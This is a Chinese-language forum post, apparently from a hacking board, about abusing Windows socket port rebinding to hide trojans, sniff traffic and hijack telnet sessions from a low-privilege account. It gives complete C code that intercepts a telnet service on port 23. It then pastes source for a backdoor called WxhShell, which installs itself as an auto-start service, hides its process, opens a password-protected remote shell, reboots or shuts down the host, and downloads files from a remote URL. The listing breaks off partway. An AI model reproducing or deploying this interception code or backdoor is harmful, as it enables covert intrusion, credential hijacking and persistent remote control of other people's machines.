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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MJb!+E+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rE EWCt  
AW1691Q  
  saddr.sin_family = AF_INET; }_Jr[iaB  
h0L *8P`t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hQvSh\p  
[<7Hy,xr_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cOq^}Ohan  
_da>=^hFJ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kr!8H/Z  
pX+`qxF\  
  这意味着什么?意味着可以进行如下的攻击: r1 )Og  
O:WFh;c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ,vl][MhM  
\XD&0inv  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ag^Cb'3X  
z`]'~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 JiCDY)bu  
t L}i%7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Y&'Bl$`  
G ,An8GR%&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Tt<Ry'Z$3  
'/G.^Zl9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 e}D#vPaSY  
.-Ggvw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G BV]7.  
\E5%.KR  
  #include ,~p'p)  
  #include VD#`1g<  
  #include 8lh{ R  
  #include    -=I*{dzly  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B>Mr /'  
  int main() p eQD]v  
  { Tj$D:xKf)  
  WORD wVersionRequested; 2'$p(  
  DWORD ret; zVFz}kJa  
  WSADATA wsaData; T}jryN;J5  
  BOOL val; a`|&rggN  
  SOCKADDR_IN saddr; k.NgE/;3  
  SOCKADDR_IN scaddr; J*IC&jH:  
  int err; t 5g@t0$  
  SOCKET s; e/'d0Gb-  
  SOCKET sc; h/W@R_Y  
  int caddsize; wz3BtCx  
  HANDLE mt; :''^a  
  DWORD tid;   ~m2tWi@  
  wVersionRequested = MAKEWORD( 2, 2 ); E`}KVi57  
  err = WSAStartup( wVersionRequested, &wsaData ); # XE`8$  
  if ( err != 0 ) { E=+v1\t)]  
  printf("error!WSAStartup failed!\n"); QK)"-y}"g  
  return -1; ZaBGkDX5  
  } c$ya{]a  
  saddr.sin_family = AF_INET; ov.7FZ+  
   6&5p3G{%0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }J$Q  
x'tYf^Va28  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D7T(B=S6  
  saddr.sin_port = htons(23); bX23F?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \#Ez["mD  
  { t:X\`.W  
  printf("error!socket failed!\n"); ) ,1MR=  
  return -1; 7+QD=j-  
  } dOh`F~ Y)e  
  val = TRUE; pHSq,XP-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ()i8 Qepo}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R/&Bze  
  { ,{!~rSq-l  
  printf("error!setsockopt failed!\n"); 4RTuy+ M  
  return -1; A8Tq2]"* S  
  } dt%waM!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3C{3"bP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @=B'<&g$Xv  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <1cYz\/ !M  
*J&XM[t  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LT']3w  
  { r PWn  
  ret=GetLastError(); ^dj avJ  
  printf("error!bind failed!\n"); ?~s,O$o  
  return -1; xcz[w}{eEq  
  }  *(5y;1KU  
  listen(s,2); !B_i~Rmg  
  while(1) ,R_ KLd  
  { rw/WD(  
  caddsize = sizeof(scaddr); x2/L`q"M?=  
  //接受连接请求 })f4`$qf  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +MU|XT_5|6  
  if(sc!=INVALID_SOCKET) [9| 8p$  
  { $Kw)BnV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); R1u1  
  if(mt==NULL) 9un* 1%  
  { bAS('R;4  
  printf("Thread Creat Failed!\n"); oVk*G  
  break; '_!j9A]g  
  } Q[+&n*  
  } tCH4-~,#  
  CloseHandle(mt); OW!cydA-  
  } SUwSZ@l^|  
  closesocket(s); ~7a(KJgvd"  
  WSACleanup(); GZXBzZ}  
  return 0; BBnW0vAZ*  
  }   ,w&8 &wj  
  DWORD WINAPI ClientThread(LPVOID lpParam) zG)XB*c  
  { S?_/Po|  
  SOCKET ss = (SOCKET)lpParam; *[K\_F?^h  
  SOCKET sc; Ct2m l  
  unsigned char buf[4096]; 8G@Ie  
  SOCKADDR_IN saddr; ?\[2Po]n  
  long num; O/b~TVA  
  DWORD val; g$+u;ER5  
  DWORD ret; ?`T< sk8c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 r#ES|  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   |L|)r)t  
  saddr.sin_family = AF_INET; 2 |lm'Hf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;o* n*N  
  saddr.sin_port = htons(23); GPP{"6q5'  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) w;@DcX$]  
  { XwWp4`Fd  
  printf("error!socket failed!\n"); n-iy;L^b  
  return -1; bV|(V>  
  } ]r++YIg!j  
  val = 100; 4JF)w;X}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  =d07c  
  { ?z,^QjQ}  
  ret = GetLastError(); IRy!8A=X  
  return -1; K6"#&0  
  } ::bK{yZm   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fNjxdG{a  
  { 44;ZX$HL  
  ret = GetLastError(); yO}RkRA  
  return -1; ?S&pq?   
  } m2&"}bI{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'wh2787  
  { Fl)p^uUtl  
  printf("error!socket connect failed!\n"); f%r0K6p  
  closesocket(sc); [>+}2-#  
  closesocket(ss); pZ4]K xX@  
  return -1; ' *hy!f]  
  } P=v 0|Y*q|  
  while(1) L%4[,Rsw  
  { P%HvL4R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Oa7x(wS  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ut"~I)S{LT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  -)  
  num = recv(ss,buf,4096,0); n27df9L  
  if(num>0) =R+z\`2  
  send(sc,buf,num,0); dMkDNaH,  
  else if(num==0) NR3]MGBKv  
  break; 2BTFK"=U  
  num = recv(sc,buf,4096,0); %{GYTc \'X  
  if(num>0) cspO5S>#  
  send(ss,buf,num,0); 8I=n9Uyz  
  else if(num==0) g )H>Uu5@  
  break; Q.SLiI  
  } ki/xo^Y2<  
  closesocket(ss); b'i-/l$  
  closesocket(sc); B<)c{kj  
  return 0 ; oy+``W~  
  } /JaCbT?*T  
BGAqg=nDV  
fwvPh&U&  
========================================================== &n:3n  
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下边附上一个代码,,WXhSHELL S0X %IG  
s"1:#.u  
========================================================== 8)I,WWj  
UuDT=_1Sh  
#include "stdafx.h" m(Hb! RT  
Fqtgw8  
#include <stdio.h> FFE IsB"9  
#include <string.h> T(UdV]~]"  
#include <windows.h> -9Iz$ (>a  
#include <winsock2.h> I_vPGafMx  
#include <winsvc.h> ;Y:_}kN8_  
#include <urlmon.h> c,WRgXL  
ZM)Y Rdh  
#pragma comment (lib, "Ws2_32.lib") #is1y3yh  
#pragma comment (lib, "urlmon.lib") $|0_[~0-n  
:^ 9sy  
#define MAX_USER   100 // 最大客户端连接数 &{#4^.Q  
#define BUF_SOCK   200 // sock buffer bcgh}D  
#define KEY_BUFF   255 // 输入 buffer f"^G\  
"6.JpUf  
#define REBOOT     0   // 重启 P bR6>'  
#define SHUTDOWN   1   // 关机 X6_m&~}15  
UdBP2lGd  
#define DEF_PORT   5000 // 监听端口 bj6-0`  
Ie3 F  
#define REG_LEN     16   // 注册表键长度 H)XHlO^  
#define SVC_LEN     80   // NT服务名长度 #ma#oWqF}  
+h!OdWD9  
// 从dll定义API *e E&ptx1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Obl']Hr{y9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V0'T)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RRYm.dMIw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `o7m)T')  
8<z]rLQw?%  
// wxhshell配置信息 :\ %.x3T'  
struct WSCFG { 6U{&`8C  
  int ws_port;         // 监听端口 f? sW^ d;  
  char ws_passstr[REG_LEN]; // 口令 4[@`j{  
  int ws_autoins;       // 安装标记, 1=yes 0=no j 8lWra\y  
  char ws_regname[REG_LEN]; // 注册表键名 -b1VY4m-  
  char ws_svcname[REG_LEN]; // 服务名 o_un=ygU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V{51wnxT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ave{ `YD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C[cNwvz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [Xy^M3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vf Jpiv1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gHU/yi!T  
V wj^h  
}; Qg dHIMY  
 '%! '1si  
// default Wxhshell configuration EH;w <LvT  
struct WSCFG wscfg={DEF_PORT, L,I5/K6  
    "xuhuanlingzhe", -C9 _gZ  
    1, x)'4u6;d  
    "Wxhshell", etY/K0  
    "Wxhshell", /.leY$  
            "WxhShell Service", +.i?UHNB  
    "Wrsky Windows CmdShell Service", nxzdg5A(w  
    "Please Input Your Password: ", C^uH]WO  
  1, KH4 5A'o  
  "http://www.wrsky.com/wxhshell.exe", PA5_  
  "Wxhshell.exe" ?sb Ob  
    }; ,TuDG*YA  
nF0V`O \T  
// 消息定义模块 3`9H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D;@*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; zu6Y*{$>g  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  T~I5W=y  
char *msg_ws_ext="\n\rExit."; =ytB\e  
char *msg_ws_end="\n\rQuit."; '\[o>n2  
char *msg_ws_boot="\n\rReboot..."; kNX"Vo]1  
char *msg_ws_poff="\n\rShutdown..."; ^X$k<nA;  
char *msg_ws_down="\n\rSave to "; igNZe."V  
7%aaqQ1T  
char *msg_ws_err="\n\rErr!"; #q2 cVN1  
char *msg_ws_ok="\n\rOK!"; YyR)2j1O  
j~+<~2%c  
char ExeFile[MAX_PATH]; 4z~ fn9g  
int nUser = 0; INQ0h`T  
HANDLE handles[MAX_USER]; >Le L%$  
int OsIsNt; _c}@Fi+E  
FU-YI"  
SERVICE_STATUS       serviceStatus; |R Ux)&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hr%O4&sa  
\k?uh+xl  
// 函数声明 9Vp|a&Ana  
int Install(void); vfG4PJ 6  
int Uninstall(void); E}U[VtaC  
int DownloadFile(char *sURL, SOCKET wsh); S"FIQ&n  
int Boot(int flag); ~.4-\M6[  
void HideProc(void); TV$Pl[m   
int GetOsVer(void); (<?6X9F:N  
int Wxhshell(SOCKET wsl); m>4jRr6sF  
void TalkWithClient(void *cs); cnm&o C 6  
int CmdShell(SOCKET sock); b-}nv`9C  
int StartFromService(void); ^WDAW#f*<  
int StartWxhshell(LPSTR lpCmdLine); )+]8T6~ N  
voRr9E*n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'I|A*rO  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b2OVg +3  
q'kZ3 G   
// 数据结构和表定义 Rpit>  
SERVICE_TABLE_ENTRY DispatchTable[] = cr!6qv1  
{ n-m+@jRz  
{wscfg.ws_svcname, NTServiceMain}, @WIcH:_w-  
{NULL, NULL} (eS/Q%ZGK  
}; KjR^6v  
FYIzMp.4  
// 自我安装 Do@:|n  
int Install(void)  SJY<#_b  
{ i~\fpay  
  char svExeFile[MAX_PATH]; 9W$d'IA  
  HKEY key; +QNFu){G  
  strcpy(svExeFile,ExeFile); D3#/*Ky  
Y40Hcc+Fx  
// 如果是win9x系统,修改注册表设为自启动 k%w5V>]1  
if(!OsIsNt) { G #.(% ,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ns_5|*'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ` aTkIo:ms  
  RegCloseKey(key); YxH"*)N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9z9z:PU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Lo 0,b$  
  RegCloseKey(key); (g2?&b iuz  
  return 0; p8<Y5:`  
    } $x&@!/&|pv  
  } $YvT* T$_  
} 8zew8I~s  
else { 5Z{h!}Y  
y(&JE^GfX  
// 如果是NT以上系统,安装为系统服务 2.)@u~^Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Sbub|  
if (schSCManager!=0) y=y=W5#;77  
{ FoM4QO  
  SC_HANDLE schService = CreateService QF/A-[V  
  ( 5p6Kq=jhb  
  schSCManager, 0ra VC=[  
  wscfg.ws_svcname, UkrqHHpy  
  wscfg.ws_svcdisp, W69 -,w/  
  SERVICE_ALL_ACCESS, "oZ]/(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %FnaS u  
  SERVICE_AUTO_START, EL+6u>\- k  
  SERVICE_ERROR_NORMAL, &.ZW1TxE8  
  svExeFile, B<c7&!B  
  NULL, 2 g"_ *[  
  NULL, 910Ym!\{:  
  NULL, O[Xl*9P  
  NULL, b#0y-bR  
  NULL j`I[M6Qxh  
  ); 7sECbbJT  
  if (schService!=0) 5Cxh >,k  
  { y3T- ^  
  CloseServiceHandle(schService); BcaMeb-Z  
  CloseServiceHandle(schSCManager); kR%bdN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =T5vu~[J/e  
  strcat(svExeFile,wscfg.ws_svcname); xz#;F ,`ZR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #*uSYGdc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LO@.aJpp  
  RegCloseKey(key); %Kd&A*  
  return 0; ,]@K6  
    } .$b]rx7$ ~  
  } e*_8B2da  
  CloseServiceHandle(schSCManager); lcgT9 m#  
} 96;17h$  
} xQ4D| &  
Tj@}O:q7:  
return 1; GF5WR e(E  
} /0QGU4=  
dw,Nlf~*0  
// 自我卸载 <>GWSW  
int Uninstall(void) 6GCwc1g  
{ xN wKTIK$  
  HKEY key; R? Y#>K  
IdTeue  
if(!OsIsNt) { 4kGA`XhS*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a,o)i8G9R<  
  RegDeleteValue(key,wscfg.ws_regname); nd 'K4q  
  RegCloseKey(key); U#G[#sd> K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A0.) =q  
  RegDeleteValue(key,wscfg.ws_regname); 2UY0:y  e  
  RegCloseKey(key); J 2%^%5&0  
  return 0; |M|'S~z  
  } +7?p& -r)x  
}  mfOr+   
} q[{q3-W  
else { /km^IH  
B e+'&+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {\22C `9t  
if (schSCManager!=0) B]dHMLzl  
{ a9z|ef  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "UVqkw,vt  
  if (schService!=0) DUf=\p6`f  
  { 6Uq@v8mh  
  if(DeleteService(schService)!=0) { quc?]rb  
  CloseServiceHandle(schService); vPEL'mw/3#  
  CloseServiceHandle(schSCManager); 9Ue3 %?~c  
  return 0; 1 GUF,A+_O  
  } r$=MBeT  
  CloseServiceHandle(schService); _F xq  
  } DG8]FhD^b  
  CloseServiceHandle(schSCManager); Et@= <g  
} \{J gjd  
} %? +A.0]E  
#(3w6 l2  
return 1; CYrVP%xRA  
} r AMnM>`  
jPYed@[+  
// 从指定url下载文件 zR h1  
int DownloadFile(char *sURL, SOCKET wsh) fV*x2g7w  
{ Ous[{"-J  
  HRESULT hr; s]`&9{=E  
char seps[]= "/"; \1D~4Gz6}  
char *token; %j=dKd>  
char *file; i+T#z  
char myURL[MAX_PATH]; G T#hqt'1x  
char myFILE[MAX_PATH]; ,(Fo%.j  
6XUcJ0  
strcpy(myURL,sURL); 9Q- /Yh  
  token=strtok(myURL,seps); o%h"gbvMY!  
  while(token!=NULL) N( E\  
  { ;RZ@t6^  
    file=token; W3* BdpTw  
  token=strtok(NULL,seps); <.( IJ  
  } [P8Y  
+Y(cs&V*  
GetCurrentDirectory(MAX_PATH,myFILE); t3u"2B7oG  
strcat(myFILE, "\\"); bO1J#bcZ  
strcat(myFILE, file); 'p-jMD}O  
  send(wsh,myFILE,strlen(myFILE),0); dgpo4'c}  
send(wsh,"...",3,0); s`xp6\$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E-_)w  
  if(hr==S_OK) ;%2/  
return 0; m8$6FN  
else 7CYu"+Ea  
return 1; &0SGAJlec  
1"A1bK  
} 3sc5meSu'  
G40,KCa  
// 系统电源模块 NUiZ!&  
int Boot(int flag) n )YNt  
{ cyA|6Ltg%  
  HANDLE hToken; CeS8I-,  
  TOKEN_PRIVILEGES tkp; }!\NdQs  
m9ts&b+TE  
  if(OsIsNt) { F6h3M~uR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K+Q81<X~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f!ehq\K1k  
    tkp.PrivilegeCount = 1; 3  8pw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m9Gyjr'L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?XL[[vyr  
if(flag==REBOOT) { Ya*lq! u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lxj_ (Uo  
  return 0; nH}api^0A  
} b>;>*'e  
else { QE84l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fL ng[&  
  return 0; N72z5[..  
} 85$MHod}[,  
  } pBiC  
  else { [J\5DctX;c  
if(flag==REBOOT) { %d($\R-*O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9=@j]g|  
  return 0; [Ua4{3#  
}  dKDtj:  
else { [' R2$z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PKT0Drv}c7  
  return 0; ~!meO;|W  
} Jx1oK  
} B<DvH"+$  
l@Ma{*s6=5  
return 1; &WN4/=QW-J  
} ]0by6hQ  
cf1Ve\(YGI  
// win9x进程隐藏模块 .3qaaXeH  
void HideProc(void) WqqrfzlM  
{ OJ8W'"`L&  
NSHWs%Zc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NLw#b?%  
  if ( hKernel != NULL ) 9X,dV7 yW  
  { Y oNg3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T nAd!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d]VL( &  
    FreeLibrary(hKernel); \hQ[5>  
  } cZ \#074u/  
wX8T;bo&  
return; ` B) ~  
} XD{U5.z>y  
1""9+4  
// 获取操作系统版本 !tCw)cou  
int GetOsVer(void) ,Bp\ i  
{ gC;y>YGP  
  OSVERSIONINFO winfo; Z}f$ KWj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h|yv*1/|  
  GetVersionEx(&winfo); G^p>fy~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7A8jnq7m/  
  return 1; eHF#ME  
  else I8gGP'  
  return 0; eJilSFp1  
} go m< V?$  
r^ S 4 I&  
// 客户端句柄模块 E:4`x_~qQ  
int Wxhshell(SOCKET wsl) uTA /E9OY  
{ F)j-D(c4  
  SOCKET wsh; Fj"g CBaR  
  struct sockaddr_in client; Y4 ){{bEp  
  DWORD myID; tq}sXt  
dc5w_98o  
  while(nUser<MAX_USER) $6XSW  
{ "w9`UFu%^e  
  int nSize=sizeof(client); upQ:C>S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'I($IM  
  if(wsh==INVALID_SOCKET) return 1; vvv~n ]S6  
uaNJTob  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %'"#X?jk1  
if(handles[nUser]==0) +Q If7=  
  closesocket(wsh); zAC   
else 9'o!9_j  
  nUser++; *I`Sc|A  
  } "u Xl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C&bw1`XJf  
7_.z3K m:  
  return 0; /'QNlP[L;  
} enj Ti5X  
"BK'<j^q  
// 关闭 socket Q mOG2  
void CloseIt(SOCKET wsh) t]P[>{y  
{ ct3QtX0B  
closesocket(wsh); Ym(^i h  
nUser--; '$ ~.x|  
ExitThread(0); l2+qP{_4  
} 9b@L^]Kg  
gTY\B.  
// 客户端请求句柄 mwZesSxB_  
void TalkWithClient(void *cs) XPd>DH(Yc  
{ `i8osX[&p  
eU1= :n&&\  
  SOCKET wsh=(SOCKET)cs; nj!)\U  
  char pwd[SVC_LEN]; ~7Kqc\/H&I  
  char cmd[KEY_BUFF]; r*N:-I~z  
char chr[1]; %'kaNpBz  
int i,j; v$K`C;  
'v* =}k  
  while (nUser < MAX_USER) { Vg#s  
^5qX+!3r{  
if(wscfg.ws_passstr) { ; @ h{-@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -?!|W-}@G=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "L1cHP~d  
  //ZeroMemory(pwd,KEY_BUFF); ]3 YJE P  
      i=0; ;y%lOYm  
  while(i<SVC_LEN) { F_/]9tz?;  
_K )B  
  // 设置超时 zawU  
  fd_set FdRead; RU,f|hB 4  
  struct timeval TimeOut; mk~i (Ee  
  FD_ZERO(&FdRead); K%Mm'$fTw  
  FD_SET(wsh,&FdRead); WiH%URFB  
  TimeOut.tv_sec=8; m( C7Fa  
  TimeOut.tv_usec=0; S]KcAz(fX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @BbZ(cZ*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w (W+Y+up  
Ox8dnPcx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FAjO-T4(  
  pwd=chr[0]; K7F uMB  
  if(chr[0]==0xd || chr[0]==0xa) { },2-\-1  
  pwd=0; =   
  break; hmtRs]7  
  } _U1~^ucV  
  i++; `)`_G!a  
    } D%LqLLD  
6dV@.(][a  
  // 如果是非法用户,关闭 socket xrA(#\}f$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  .LEQ r)  
} Bz_['7D  
x +! <_p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V2ypmkn 8&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tv+q~TFB=Z  
i/Q*AG>b  
while(1) { DdJxb{y7  
z_*]joL  
  ZeroMemory(cmd,KEY_BUFF); *;7&  
s24-X1d(9  
      // 自动支持客户端 telnet标准   NZ e3 m  
  j=0; xB68RQe)  
  while(j<KEY_BUFF) { >a%NC'~rc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N:)`+}  
  cmd[j]=chr[0]; ]}<.Y[!S  
  if(chr[0]==0xa || chr[0]==0xd) { !w[<?+%%n  
  cmd[j]=0; `=^29LC#  
  break;  $hPAp}  
  } qDM/ 6xO  
  j++; Z_iu^ Q  
    } 9;&2LT7z  
S6 $S%$  
  // 下载文件 ?|%^'(U}  
  if(strstr(cmd,"http://")) { /R''R:j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  / >Wh  
  if(DownloadFile(cmd,wsh)) N;F1Z-9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -3qB,KT  
  else J{@gp,&e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PkLRQ}  
  }  &{7n  
  else { ::dLOf8o  
`-D6:- ,w  
    switch(cmd[0]) { ?#qA>:2,  
  V3$!`T}g4  
  // 帮助 '# "Z$  
  case '?': { Fh? ;,Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $ e+@9LNK  
    break; "}\2zub9  
  } *GfGyOS(  
  // 安装 Q#}} 1}Ja  
  case 'i': { (i|`PA  
    if(Install()) -vGyEd7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +AZ=nMgW  
    else pCb@4n b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1#^[{XlAx  
    break; DHbLS3-  
    }  s+[_5n~  
  // 卸载 k)[}3oq  
  case 'r': { en=Z[ZIPO  
    if(Uninstall()) (iP,F]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kNI m90,g  
    else 29Kuq;6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l'&l!D&   
    break; C@buewk  
    } hEl)BRJ  
  // 显示 wxhshell 所在路径 p[0Ws460  
  case 'p': { go]d+lhFB  
    char svExeFile[MAX_PATH]; |^S[Gr w  
    strcpy(svExeFile,"\n\r"); gET& +M   
      strcat(svExeFile,ExeFile); !__f  
        send(wsh,svExeFile,strlen(svExeFile),0); Umv_{n`  
    break; ;G0~f9  
    } 5BS-q"  
  // 重启 u4IgPCTZ+  
  case 'b': { +=$\7z>s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  .#zx[Io  
    if(Boot(REBOOT)) mZ/?uPIa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,'Y*e[  
    else { N,(@k[uta  
    closesocket(wsh); |E53 [:p  
    ExitThread(0); !H~!i.m'-  
    } u7^Z7; J  
    break; (8GJLs 8  
    } %N/I;`  
  // 关机 ;p BXAl  
  case 'd': { XC?H  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); h"l{cDk  
